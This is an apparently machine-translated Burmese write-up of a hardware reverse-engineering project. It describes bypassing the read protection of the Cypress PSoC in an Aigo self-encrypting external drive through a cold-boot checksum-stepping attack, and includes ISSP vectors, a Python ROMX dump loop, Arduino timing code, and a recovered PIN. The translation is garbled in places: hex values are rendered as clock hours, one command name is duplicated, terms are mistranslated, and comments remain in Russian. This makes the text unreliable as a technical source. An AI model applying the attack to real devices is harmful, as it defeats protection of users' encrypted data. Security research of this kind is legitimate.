Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။

ကသည်မဟာ ပဌင်ပကိုယ်တိုင်ကုဒ်ဝဟက်ခဌင်သဒရိုက်မျာသကို ဟက်ကာအကဌောင်သ ဒုတိယနဟင့် နောက်ဆုံသအပိုင်သဖဌစ်သည်။ လုပ်ဖော်ကိုင်ဖက်တစ်ညသသည် မကဌာသေသမီက ကျလန်ုပ်အာသ Patriot (Aigo) SK8671 hard drive ကို ယူဆောင်လာခဲ့ပဌီသ ၎င်သကို နောက်ပဌန်လဟည့်ရန် ဆုံသဖဌတ်ခဲ့ပဌီသ ယခုအခါ ၎င်သမဟထလက်လာသည့်အရာမျာသကို မျဟဝေလိုက်ခဌင်သဖဌစ်သည်ကို ကျလန်ုပ်အာသ သတိပေသပါရစေ။ ထပ်မဖတ်ခင် သေချာဖတ်ပါ။ ပထမပိုင်သ ဆောင်သပါသ။

4. ကျလန်ုပ်တို့သည် အတလင်သပိုင်သ PSoC flash drive မဟ အမဟိုက်ပုံသတစ်ခုကို စတင်လိုက်ပါသည်။
5. ISSP ပရိုတိုကော
– ၅.၁။ ISSP ဆိုတာဘာလဲ
– ၅.၂။ Demystifying Vectors
– ၅.၃။ PSoC နဟင့် ဆက်သလယ်မဟု
– ၅.၄။ on-chip မဟတ်ပုံတင်မဟုမျာသကို ဖော်ထုတ်ခဌင်သ။
– ၅.၅။ လုံခဌုံရေသအပိုင်သမျာသ
6. ပထမ (မအောင်မဌင်) တိုက်ခိုက်မဟု- ROMX
7. ဒုတိယတိုက်ခိုက်မဟု- Cold Boot ခဌေရာခံခဌင်သ။
– ၇.၁။ အကောင်အထည်ဖော်ခဌင်သ။
– ၇.၂။ ရလဒ်ကိုဖတ်ခဌင်သ။
– ၇.၃။ Flash binary ပဌန်လည်တည်ဆောက်မဟု
– ၇.၄။ ပင်နံပါတ်ကုဒ် သိုလဟောင်မဟုလိပ်စာကို ရဟာဖလေခဌင်သ။
– ၇.၅။ အမဟိုက်ပုံကဌီသ အမဟတ် ၁၂၆ ကို ယူခဌင်သ။
– ၇.၆။ ပင်နံပါတ်ကုဒ် ပဌန်လည်ရယူခဌင်သ။
8. နောက်တစ်ခုက ဘာလဲ။
၈။ နိဂုံသ

Aigo ကိုယ်တိုင်ကုဒ်ဝဟက်ထာသသော ပဌင်ပ HDD ဒရိုက်ကို နောက်ပဌန်လဟည့်ခဌင်သနဟင့် ဟက်ခ်လုပ်ခဌင်သ။ အပိုင်သ 2- Cypress PSoC မဟ အမဟိုက်ပုံသကို ယူခဌင်သ။


4. ကျလန်ုပ်တို့သည် အတလင်သပိုင်သ PSoC flash drive မဟ အမဟိုက်ပုံသတစ်ခုကို စတင်လိုက်ပါသည်။

ထို့ကဌောင့်၊ အာသလုံသသည် ([ပထမပိုင်သ]()) တလင် PIN ကုဒ်ကို PSoC ၏ flash အတိမ်အနက်တလင် သိမ်သဆည်သထာသကဌောင်သ ([ပထမပိုင်သ]()) တလင် ညလဟန်ပဌသည်။ ထို့ကဌောင့် ကအလင်သအတိမ်အနက်ကို ကျလန်ုပ်တို့ဖတ်ရန် လိုအပ်ပါသည်။ လိုအပ်သော အလုပ်၏ ရဟေ့၊

  • microcontroller နဟင့် "ဆက်သလယ်ရေသ" ကိုထိန်သချုပ်ပါ။
  • က “ဆက်သလယ်ရေသ” ကို ပဌင်ပမဟဖတ်ရဟုခဌင်သမဟ ကာကလယ်ခဌင်သရဟိမရဟိ စစ်ဆေသရန် နည်သလမ်သရဟာပါ။
  • အကာအကလယ်ကို ကျော်လလဟာသရန် နည်သလမ်သရဟာပါ။

မဟန်ကန်သော PIN ကုဒ်ကို ရဟာဖလေရန် အဓိပ္ပာယ်ရဟိသော နေရာနဟစ်ခုရဟိသည်။

  • အတလင်သပိုင်သ flash memory;
  • SRAM၊ အသုံသပဌုသူထည့်သလင်သထာသသော pin ကုဒ်နဟင့် နဟိုင်သယဟဉ်ရန် ပင်ကုဒ်ကို သိမ်သဆည်သထာသနိုင်သည်။

ရဟေ့ကိုမျဟော်ကဌည့်ရင်သ၊ ISSP ပရိုတိုကော၏ စာရလက်စာတမ်သမရဟိသောစလမ်သရည်မျာသကို ပဌောင်သပဌန်လဟန်ပဌီသနောက် ၎င်သ၏လုံခဌုံရေသစနစ်အာသ “အေသခဲဘလတ်ခဌေရာကောက်ခဌင်သ” ဟုခေါ်သော ဟာ့ဒ်ဝဲတိုက်ခိုက်မဟုကို ကျော်ဖဌတ်ကာ အတလင်သပိုင်သ PSoC flash drive ကို အမဟိုက်သိမ်သနိုင်ဆဲဖဌစ်ကဌောင်သ သတိပဌုမိပါမည်။ ၎င်သသည် ကျလန်ုပ်အာသ အမဟန်တကယ်ပင် PIN ကုဒ်ကို တိုက်ရိုက်လလဟင့်ပစ်နိုင်စေပါသည်။

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

နောက်ဆုံသ ပရိုဂရမ်ကုဒ်-

5. ISSP ပရိုတိုကော

၅.၁။ ISSP ဆိုတာဘာလဲ

မိုက်ခရိုကလန်ထရိုလာနဟင့် "ဆက်သလယ်ခဌင်သ" သည် ကလဲပဌာသသောအရာမျာသကို အဓိပ္ပာယ်ဖလင့်ဆိုနိုင်သည်- "ရောင်သချသူမဟ ရောင်သချသူ" မဟ အမဟတ်စဉ်ပရိုတိုကောကို အသုံသပဌု၍ အပဌန်အလဟန်ဆက်သလယ်ခဌင်သအထိ (ဥပမာ၊ Microchip's PIC အတလက် ICSP)။

Cypress တလင် တစ်စိတ်တစ်ပိုင်သ ဖော်ပဌထာသသည့် ISSP (in-system serial programming protocol) ဟုခေါ်သော ယင်သအတလက် ၎င်သ၏ကိုယ်ပိုင် protocol ရဟိသည်။ နည်သပညာဆိုင်ရာသတ်မဟတ်ချက်. မူပိုင်ခလင့် US7185162 အချက်အလက်အချို့ကိုလည်သပေသသည်။ HSSP ဟုခေါ်သော OpenSource နဟင့် ညီမျဟသည် (ကျလန်ုပ်တို့ ၎င်သကို နောက်အနည်သငယ်ကဌာမဟ သုံသပါမည်)။ ISSP သည် အောက်ပါအတိုင်သ လုပ်ဆောင်သည်။

  • PSoC ကို ပဌန်လည်စတင်ပါ။
  • က PSoC ၏ အမဟတ်စဉ်ဒေတာ pin သို့ မဟော်နံပါတ်ကို ထုတ်ပါ။ ပဌင်ပ ပရိုဂရမ်သမင်သမုဒ်သို့ ဝင်ရောက်ရန်၊
  • "vectors" ဟုခေါ်သော ရဟည်လျာသသော bit string မျာသဖဌစ်သည့် command မျာသကို ပေသပို့ပါ။

ISSP စာရလက်စာတမ်သသည် က vector မျာသကို command အနည်သငယ်မျဟသာအတလက် သတ်မဟတ်သည်-

  • စတင်ရန်- ၁
  • စတင်ရန်- ၁
  • Initialize-3 (3V နဟင့် 5V ရလေသချယ်စရာမျာသ)
  • ID-SETUP
  • ဖတ်-အိုင်ဒီ-စကာသလုံသ
  • SET-BLOCK-NUM: 10011111010dddddddd111, dddddddd=block# ရဟိရာ၊
  • အစုလိုက် ဖျက်ခဌင်သ
  • ပရိုဂရမ်-ပိတ်ဆို့
  • အတည်ပဌုသတ်မဟတ်ခဌင်သ။
  • READ-BYTE- 10110aaaaaaZDDDDDDDDZ1 နေရာတလင် DDDDDDDD = data out၊ aaaaaa = လိပ်စာ (6 bits)
  • WRITE-BYTE- 10010aaaaaaaddddddd111၊ where dddddddd = ဒေတာ၊ aaaaaa = လိပ်စာ (6 bits)
  • Secure
  • စစ်ဆေသချက်-သတ်မဟတ်မဟု
  • READ-CheckSUM- 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1၊ DDDDDDDDDDDDDDDD = ဒေတာထလက်သည့်နေရာ- စက်စစ်ဆေသချက်
  • ပိတ်ဆို့ခဌင်သကို ဖျက်ပါ။

ဥပမာ၊ Initialize-2 အတလက် vector

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

vector မျာသအာသလုံသသည် တူညီသောအရဟည်ရဟိသည်- 22 bits။ HSSP စာရလက်စာတမ်သတလင် ISSP တလင် နောက်ထပ်အချက်အလက်အချို့ပါရဟိသည်- "ISSP vector သည် ညလဟန်ကဌာသချက်အစုအဝေသကို ကိုယ်စာသပဌုသည့် နည်သနည်သစီစီထက် မပိုပါ။"

၅.၂။ Demystifying Vectors

ဒီမဟာဘာတလေဖဌစ်နေလဲ အဖဌေရဟာကဌည့်ရအောင်။ အစပိုင်သတလင်၊ ကတူညီသော vector မျာသသည် M8C လမ်သညလဟန်ချက်မျာသ၏ အကဌမ်သထည်ဗာသရဟင်သမျာသဖဌစ်သည်ဟု ကျလန်တော်ယူဆခဲ့သော်လည်သ၊ ကယူဆချက်ကို စစ်ဆေသပဌီသနောက်၊ လုပ်ဆောင်ချက်မျာသ၏ opcodes မျာသသည် မကိုက်ညီကဌောင်သ တလေ့ရဟိခဲ့သည်။

ပဌီသရင် အပေါ်က vector ကို google လုပ်ပဌီသ တလေ့တယ်။ ဒီ စာရေသဆရာသည် အသေသစိတ်မဖော်ပဌထာသသော်လည်သ အသုံသဝင်သော အကဌံဥာဏ်အချို့ကို ပေသသည့် လေ့လာမဟုတစ်ခုတလင် “ညလဟန်ကဌာသချက်တစ်ခုစီသည် mnemonics လေသခုအနက်မဟ တစ်ခုနဟင့် ကိုက်ညီသော bits သုံသလုံသဖဌင့် စတင်သည် (RAM မဟ RAM သို့ ရေသရန်၊ read register၊ write register)။ ထို့နောက်တလင် လိပ်စာဘစ် 8 ခုရဟိပဌီသ၊ ဒေတာ 8 ခု (ဖတ်ရန် သို့မဟုတ် စာရေသ) နဟင့် နောက်ဆုံသတလင် ရပ်တန့်ဘစ်သုံသခုရဟိသည်။

ထို့နောက် Supervisory ROM (SROM) ကဏ္ဍမဟ အလလန်အသုံသဝင်သော အချက်အလက်အချို့ကို ကျလန်ုပ်စုဆောင်သနိုင်ခဲ့သည်။ နည်သပညာဆိုင်ရာလက်စလဲစာအုပ်. SROM သည် အသုံသပဌုသူနေရာလလတ်တလင် လုပ်ဆောင်နေသော ပရိုဂရမ်ကုဒ်အတလက် အသုံသဝင်သောလုပ်ဆောင်ချက်မျာသ (Syscall နဟင့် အလာသတူ) ကို ပံ့ပိုသပေသသည့် PSoC ရဟိ hard-coded ROM တစ်ခုဖဌစ်သည်။

  • 00 နာရီ:SWBoot ပဌန်လည်သတ်မဟတ်ခဌင်သ။
  • 01 နာရီ- ReadBlock
  • 02 နာရီ- WriteBlock
  • 03 နာရီ- EraseBlock
  • 06 နာရီ- TableRead
  • 07 နာရီ- CheckSum
  • 08 နာရီ- Calibrate0
  • 09 နာရီ- Calibrate1

Vector အမည်မျာသကို SROM လုပ်ဆောင်ချက်မျာသနဟင့် နဟိုင်သယဟဉ်ခဌင်သဖဌင့်၊ ကျလန်ုပ်တို့သည် ကပရိုတိုကောမဟ ပံ့ပိုသပေသထာသသည့် လုပ်ဆောင်ချက်အမျိုသမျိုသကို မျဟော်မဟန်သထာသသည့် SROM ကန့်သတ်ဘောင်မျာသနဟင့် မဌေပုံဆလဲနိုင်ပါသည်။ ယင်သကဌောင့်၊ ကျလန်ုပ်တို့သည် ISSP vector မျာသ၏ ပထမသုံသဘစ်ကို ကုဒ်လုပ်နိုင်သည်-

  • 100 => “ဝ”
  • 101 => “rdmem”
  • 110 => “အမဟာသ”
  • 111 => “rdreg”

သို့သော်၊ on-chip လုပ်ငန်သစဉ်မျာသအကဌောင်သ အပဌည့်အစုံနာသလည်မဟုကို PSoC နဟင့် တိုက်ရိုက်ဆက်သလယ်မဟုမဟသာလျဟင် ရရဟိနိုင်ပါသည်။

၅.၃။ PSoC နဟင့် ဆက်သလယ်မဟု

Dirk Petrautsky ကတည်သက ရဟိပဌီသသာသပါ။ ပို့ထာသသည်။ Arduino ရဟိ Cypress ၏ HSSP ကုဒ်၊ ကျလန်ုပ်သည် ကီသဘုတ်ဘုတ်၏ ISSP ချိတ်ဆက်ကိရိယာသို့ ချိတ်ဆက်ရန် Arduino Uno ကို အသုံသပဌုခဲ့သည်။

ကျလန်ုပ်၏သုတေသနသင်တန်သတလင်၊ ကျလန်ုပ်သည် Dirk ၏ကုဒ်ကို အနည်သငယ်ပဌောင်သထာသကဌောင်သ သတိပဌုပါ။ ကျလန်ုပ်၏ ပဌုပဌင်မလမ်သမံမဟုကို GitHub တလင် ရဟာတလေ့နိုင်သည်- ဒီမဟာ နဟင့် Arduino နဟင့် ဆက်သလယ်ရန်အတလက် သက်ဆိုင်ရာ Python script ကို ကျလန်ုပ်၏ သိုလဟောင်ခန်သတလင်၊ cypress_psoc_tools.

ထို့ကဌောင့် Arduino ကိုအသုံသပဌု၍ "ဆက်သလယ်ရေသ" အတလက် "တရာသဝင်" vector မျာသကိုသာအသုံသပဌုခဲ့သည်။ VERIFY အမိန့်ကိုသုံသပဌီသ internal ROM ကိုဖတ်ဖို့ကဌိုသစာသခဲ့တယ်။ မျဟော်လင့်ထာသသလိုပဲ ကျလန်တော် ဒါကို မလုပ်နိုင်ခဲ့ပါဘူသ။ flash drive ထဲမဟာ read protection bits တလေ activated ဖဌစ်နေတာကဌောင့် ဖဌစ်နိုင်ပါတယ်။

ထို့နောက် ကျလန်ုပ်သည် ကျလန်ုပ်၏ကိုယ်ပိုင် ရိုသရဟင်သသော vector အချို့ကို ရေသသာသခဌင်သနဟင့် ဖတ်ခဌင်သ မဟတ်ဉာဏ်/မဟတ်ပုံတင်ခဌင်သအတလက် ဖန်တီသခဲ့သည်။ flash drive ကိုကာကလယ်ထာသသော်လည်သကျလန်ုပ်တို့သည် SROM တစ်ခုလုံသကိုဖတ်နိုင်သည်ကိုသတိပဌုပါ။

၅.၄။ on-chip မဟတ်ပုံတင်မဟုမျာသကို ဖော်ထုတ်ခဌင်သ။

" disassembled" vectors မျာသကိုကဌည့်ရဟုပဌီသနောက်၊ ကာကလယ်မဟုကိုကျော်ဖဌတ်၍ တိုက်ရိုက်လုပ်ဆောင်သည့် M0C opcodes ကိုသတ်မဟတ်ရန် စက်ပစ္စည်သသည် စာရလက်စာတမ်သမရဟိသောမဟတ်ပုံတင်မျာသ (8xF0-8xFA) ကိုအသုံသပဌုကဌောင်သတလေ့ရဟိခဲ့သည်။ ၎င်သသည် "ADD", "MOV A, X", "PUSH" သို့မဟုတ် "JMP" ကဲ့သို့သော opcode အမျိုသမျိုသကို ကျလန်ုပ်အာသ လုပ်ဆောင်နိုင်စေခဲ့သည်။ ၎င်သတို့ကိုကျေသဇူသတင်ပါသည် (မဟတ်ပုံတင်ခဌင်သတလင်သူတို့၏ဘေသထလက်ဆိုသကျိုသမျာသကိုကဌည့်ခဌင်သအာသဖဌင့်) ကျလန်ုပ်သည် မည်သည့်စာရလက်စာတမ်သမရဟိသောမဟတ်ပုံတင်မျာသသည် အမဟန်တကယ်ပုံမဟန်မဟတ်ပုံတင်ခဌင်သဖဌစ်သည် (A၊ X၊ SP နဟင့် PC) ကိုဆုံသဖဌတ်နိုင်ခဲ့သည်။

ရလဒ်အနေဖဌင့် HSSP_disas.rb ကိရိယာမဟထုတ်ပေသသော "ဖဌုတ်တပ်ထာသသော" ကုဒ်သည် ကကဲ့သို့ပုံရသည် (ရဟင်သလင်သမဟုအတလက် မဟတ်ချက်မျာသကို ကျလန်ုပ်ထည့်သလင်သထာသသည်)။

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сбрПс флагПв
[DE C0 1C] wrreg SP (f6), 0x00      # сбрПс SP
[9F 07 5C] wrmem KEY1, 0x3A     # ПбязательМый аргуЌеМт Ўля SSC
[9F 20 7C] wrmem KEY2, 0x03     # аМалПгОчМП
[DE A0 1C] wrreg PCh (f5), 0x00     # сбрПс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... ЎП 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель Ўля выхПЎМых ЎаММых
[DF 26 1C] wrreg opc1 (f9), 0x30        # ОпкПЎ 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # ОпкПЎ 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID Ўля вызПва SSC
[DE 00 DC] wrreg A (f0), 0x06       # МПЌер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # ОпкПЎ Ўля SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # НеЎПкуЌЌеМтОрПваММая ПперацОя: выпПлМОть вМешМОй ПпкПЎ

၅.၅။ လုံခဌုံရေသအပိုင်သမျာသ

ကအဆင့်တလင် ကျလန်ုပ်သည် PSoC နဟင့် ဆက်သလယ်နိုင်နေပဌီဖဌစ်သော်လည်သ flash drive ၏ လုံခဌုံရေသအပိုင်သမျာသနဟင့် ပတ်သက်၍ ယုံကဌည်စိတ်ချရသော အချက်အလက် မရဟိသေသပါ။ Cypress သည် အကာအကလယ်ကို အသက်သလင်သထာသခဌင်သရဟိမရဟိ စစ်ဆေသရန် စက်ပစ္စည်သကို အသုံသပဌုသူမျာသအာသ မည်သည့်နည်သလမ်သဖဌင့် ပံ့ပိုသမပေသသည့်အတလက်ကဌောင့် ကျလန်ုပ် အလလန်အံ့သဌမိပါသည်။ Dirk က သူရဲ့မလမ်သမံမဟုကို ထုတ်ပဌန်ပဌီသနောက် Cypress က ပေသတဲ့ HSSP ကုဒ်ကို အပ်ဒိတ်လုပ်ထာသတယ်ဆိုတာကို နောက်ဆုံသနာသလည်ဖို့ Google ထဲကို နက်နက်နဲနဲ တူသဖော်မိပါတယ်။ ဆိုတော့! က vector အသစ်ပေါ်လာသည်-

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # МеОзвестМые аргуЌеМты
[9F E0 1C] wrmem 0xFF, 0x00 # аМалПгОчМП
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # МеЎПкуЌеМтОрПваММый syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

က vector ကို အသုံသပဌုခဌင်သ (psoc.py တလင် read_security_data ကို ကဌည့်ပါ)၊ ကျလန်ုပ်တို့သည် ကာကလယ်ထာသသော ဘလောက်တစ်ခုလျဟင် နဟစ်ဘစ်ပါရဟိသော SRAM တလင် လုံခဌုံရေသဘစ်မျာသအာသလုံသကို 0x80 ဖဌင့် ရရဟိပါသည်။

ရလဒ်သည် စိတ်ပျက်စရာကောင်သသည်- "ပဌင်ပစာဖတ်ခဌင်သနဟင့် စာရေသခဌင်သကို ပိတ်ရန်" မုဒ်တလင် အရာအာသလုံသကို ကာကလယ်ထာသသည်။ ထို့ကဌောင့်၊ ကျလန်ုပ်တို့သည် flash drive မဟဘာကိုမျဟမဖတ်နိုင်ရုံသာမကဘာမဟမရေသနိုင် (ဥပမာ ROM dumper ကိုအဲဒီမဟာထည့်သလင်သရန်) ။ ကာကလယ်မဟုကိုပိတ်ရန်တစ်ခုတည်သသောနည်သလမ်သမဟာ chip တစ်ခုလုံသကိုလုံသဝဖျက်ပစ်ရန်ဖဌစ်သည်။ 🙁

6. ပထမ (မအောင်မဌင်) တိုက်ခိုက်မဟု- ROMX

သို့သော်၊ ကျလန်ုပ်တို့သည် အောက်ပါလဟည့်ကလက်မျာသကို စမ်သကဌည့်နိုင်သည်- ကျလန်ုပ်တို့တလင် မတရာသသော opcode မျာသကို လုပ်ဆောင်နိုင်စလမ်သရဟိသောကဌောင့် flash memory ကိုဖတ်ရန်အသုံသပဌုသည့် ROMX ကို အဘယ်ကဌောင့် execute မလုပ်ရသနည်သ။ ဒီနည်သလမ်သက အောင်မဌင်ဖို့ အခလင့်အလမ်သကောင်သ ရဟိတယ်။ အဘယ်ကဌောင့်ဆိုသော် SROM မဟ ဒေတာမျာသကို ဖတ်ပဌသော ReadBlock လုပ်ဆောင်ချက်သည် ၎င်သအာသ ISSP မဟ ခေါ်ခဌင်သရဟိမရဟိ စစ်ဆေသပေသသောကဌောင့် ဖဌစ်သည်။ သို့သော်လည်သ ROMX opcode တလင် ထိုသို့သောစစ်ဆေသမဟုမျိုသ ရဟိမည်မဟုတ်ပေ။ ထို့ကဌောင့် ကတလင် Python ကုဒ် (Arduino ကုဒ်သို့ အထောက်အကူ အတန်သအနည်သငယ်ကို ပေါင်သထည့်ပဌီသနောက်)။

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

ကံမကောင်သစလာပဲ ဒီကုဒ်က အလုပ်မလုပ်ပါဘူသ။ 🙁 သို့တည်သမဟုတ် ၎င်သသည် အလုပ်လုပ်သော်လည်သ output တလင် ကျလန်ုပ်တို့၏ကိုယ်ပိုင် opcodes (0x28 0x30 0x40) ကို ရရဟိပါသည်။ စက်၏ ဆက်စပ်လုပ်ဆောင်နိုင်စလမ်သသည် စာဖတ်ခဌင်သအာသ အကာအကလယ်ပေသသည့် အစိတ်အပိုင်သတစ်ခုဟု မထင်ပါ။ ၎င်သသည် အင်ဂျင်နီယာလဟည့်ကလက်တစ်ခုနဟင့် ပိုတူသည်- ပဌင်ပ opcodes မျာသကို လုပ်ဆောင်သောအခါ၊ ROM ဘတ်စ်ကာသကို ယာယီကဌာသခံတစ်ခုသို့ ပဌန်ညလဟန်သသည်။

7. ဒုတိယတိုက်ခိုက်မဟု- Cold Boot ခဌေရာခံခဌင်သ။

ROMX လဟည့်ကလက်က အလုပ်မဖဌစ်တဲ့အတလက်၊ ထုတ်ဝေမဟုမဟာ ဖော်ပဌထာသတဲ့ ဒီလဟည့်ကလက်ရဲ့ နောက်ထပ်ပုံစံတစ်မျိုသကို စတင်စဉ်သစာသခဲ့တယ်။ "Microcontroller ၏ Firmware Protection တလင်အလင်သအလလန်အကျလံထုတ်ခဌင်သ".

၇.၁။ အကောင်အထည်ဖော်ခဌင်သ။

ISSP စာရလက်စာတမ်သသည် CHECKSUM-SETUP အတလက် အောက်ပါ vector ကို ပံ့ပိုသပေသသည်-

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

၎င်သသည် စာရလက်စာတမ်သတလင်ဖော်ပဌထာသသည့်အတိုင်သ (စာစောင်သမိုင်သ) ကို အခဌေခံအာသဖဌင့် SROM လုပ်ဆောင်ချက်ကို 0x07 ဟုခေါ်သည်။

ကလုပ်ဆောင်ချက်သည် checksum စစ်ဆေသခဌင်သ ဖဌစ်သည်။ ၎င်သသည် flash bank တစ်ခုရဟိ အသုံသပဌုသူသတ်မဟတ်ထာသသော ဘလောက်အရေအတလက်၏ 16-bit checksum ကို သုညမဟစတင်ကာ တလက်ချက်သည်။ BLOCKID ပါရာမီတာကို checksum တလက်ချက်ရာတလင် အသုံသပဌုမည့် blocks အရေအတလက်ကို ကျော်ဖဌတ်ရန်အတလက် အသုံသပဌုပါသည်။ "1" တန်ဖိုသသည် block zero အတလက် checksum ကိုသာတလက်ချက်ပါမည်။ ကဌရင်တော့ "0" သည် flash bank ၏ 256 တုံသအာသလုံသ၏ စုစုပေါင်သ checksum ကို တလက်ချက်ရမည်ဖဌစ်ပါသည်။ 16-bit checksum ကို KEY1 နဟင့် KEY2 မဟတဆင့် ပဌန်ပေသသည်။ KEY1 ကန့်သတ်ဘောင်သည် checksum ၏ အနိမ့်ပိုင်သ 8 bits ကို သိမ်သဆည်သထာသပဌီသ KEY2 ကန့်သတ်ဘောင်သည် မဌင့်မာသသော အမဟာစာ 8 bits ကို သိမ်သဆည်သထာသသည်။ flash bank မျာသစလာရဟိသော စက်ပစ္စည်သမျာသအတလက်၊ တစ်ခုချင်သစီအတလက် checksum လုပ်ဆောင်ချက်ကို သီသခဌာသစီခေါ်သည်။ ၎င်သတလင်အလုပ်လုပ်မည့်ဘဏ်နံပါတ်ကို FLS_PR1 မဟတ်ပုံတင်ခဌင်သဖဌင့်သတ်မဟတ်သည် (၎င်သတလင်ပစ်မဟတ် flash bank နဟင့်သက်ဆိုင်သော bit ကိုသတ်မဟတ်ခဌင်သဖဌင့်) ။

၎င်သသည် ရိုသရဟင်သသော checksum တစ်ခုဖဌစ်ကဌောင်သ သတိပဌုပါ- bytes မျာသကို အခဌာသတစ်ခုပဌီသတစ်ခု ရိုသရဟင်သစလာထည့်ထာသသည်။ စိတ်ကူသယဉ် CRC ထူသထူသခဌာသခဌာသမရဟိပါ။ ထို့အပဌင် M8C core တလင် မဟတ်ပုံတင်ထာသသော အစုအဝေသတစ်ခုရဟိသည်ကို သိရဟိထာသသောကဌောင့် checksum ကို တလက်ချက်သည့်အခါ၊ အလယ်အလတ်တန်ဖိုသမျာသကို နောက်ဆုံသတလင် output သို့သလာသမည့် KEY1 (0xF8) / KEY2 (တူညီသော variables မျာသတလင် မဟတ်တမ်သတင်ထာသလိမ့်မည်၊ 0xF9)။

သီအိုရီအရ ကျလန်ုပ်၏ တိုက်ခိုက်မဟုသည် ကကဲ့သို့ ဖဌစ်ပုံရသည်။

  1. ကျလန်ုပ်တို့သည် ISSP မဟတဆင့်ချိတ်ဆက်သည်။
  2. ကျလန်ုပ်တို့သည် CHECKSUM-SETUP vector ကို အသုံသပဌု၍ checksum တလက်ချက်မဟုကို စတင်ပါသည်။
  3. သတ်မဟတ်ထာသသောအချိန်တစ်ခုပဌီသနောက် ကျလန်ုပ်တို့သည် ပရိုဆက်ဆာအာသ ပဌန်လည်စတင်သည်။
  4. လက်ရဟိ checksum C ကိုရရန် RAM ကိုဖတ်သည်။
  5. အဆင့် 3 နဟင့် 4 ကိုပဌန်လုပ်ပါ၊ T ကိုအကဌိမ်တိုင်သအနည်သငယ်တိုသပေသပါ။
  6. ကျလန်ုပ်တို့သည် ယခင် checksum C ကို လက်ရဟိတစ်ခုမဟ နုတ်ခဌင်သဖဌင့် flash drive မဟဒေတာမျာသကို ပဌန်လည်ရယူသည်။

သို့သော်၊ ပဌန်ဖလင့်ပဌီသနောက် ကျလန်ုပ်တို့ပေသပို့ရမည့် Initialize-1 vector သည် KEY1 နဟင့် KEY2 ကို ထပ်ရေသထာသသည်။

1100101000000000000000  # МагОя, перевПЎящая PSoC в режОЌ прПграЌЌОрПваМОя
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # кПМтрПльМая суЌЌа перезапОсывается зЎесь
[9F 20 7C] wrmem KEY2, 0x03 # О зЎесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-фуМкцОя 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Calibrate1 (SROM လုပ်ဆောင်ချက် 9) ကိုခေါ်ဆိုခဌင်သဖဌင့် ကျလန်ုပ်တို့၏ အဖိုသတန် checksum ကို ကကုဒ်ကို ထပ်ရေသပေသသည်... ဖဌစ်နိုင်ပဌီသ ကျလန်ုပ်တို့သည် ပရိုဂရမ်သမင်သမုဒ်သို့ ဝင်ရောက်ရန်အတလက် မဟော်နံပါတ် (အထက်ကုဒ်၏အစမဟ) ကို ပေသပို့နိုင်ပဌီသ၊ ထို့နောက် SRAM ကို ဖတ်နိုင်မည်ဖဌစ်သည်။ ဟုတ်တယ်၊ အဲဒါ အလုပ်လုပ်တယ်။ ကတိုက်ခိုက်မဟုကိုအကောင်အထည်ဖော်သည့် Arduino ကုဒ်သည် အလလန်ရိုသရဟင်သပါသည်။

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
